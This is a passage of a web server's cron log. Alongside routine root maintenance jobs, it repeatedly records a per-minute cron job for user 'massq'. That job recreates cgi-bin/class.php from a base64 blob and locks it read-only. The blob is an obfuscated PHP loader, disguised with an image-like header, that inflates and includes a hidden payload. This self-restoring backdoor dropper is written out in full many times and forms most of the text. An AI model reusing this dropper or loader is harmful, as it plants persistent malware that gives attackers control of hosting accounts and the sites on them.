RfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:00:01 server CROND[16349]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 17:00:01 server CROND[16351]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 17:00:01 server CROND[16352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 17:00:01 server CROND[16350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:01:01 server CROND[16553]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 17:01:01 server CROND[16554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:01:01 server run-parts(/etc/cron.hourly)[16553]: starting 0anacron
Apr  8 17:01:01 server run-parts(/etc/cron.hourly)[16566]: finished 0anacron
Apr  8 17:02:01 server CROND[16614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:03:01 server CROND[16669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:04:01 server CROND[16723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:05:01 server CROND[16840]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  8 17:05:01 server CROND[16841]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 17:05:01 server CROND[16842]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 17:05:01 server CROND[16843]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 17:05:01 server CROND[16847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:06:01 server CROND[16984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:07:01 server CROND[17123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:08:01 server CROND[17198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:09:01 server CROND[17254]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 17:09:01 server CROND[17255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:10:01 server CROND[17307]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 17:10:01 server CROND[17308]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 17:10:01 server CROND[17309]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 17:10:01 server CROND[17311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:11:01 server CROND[17417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 17:12:01 server CROND[17620]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 17:12:01 server CROND[17621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
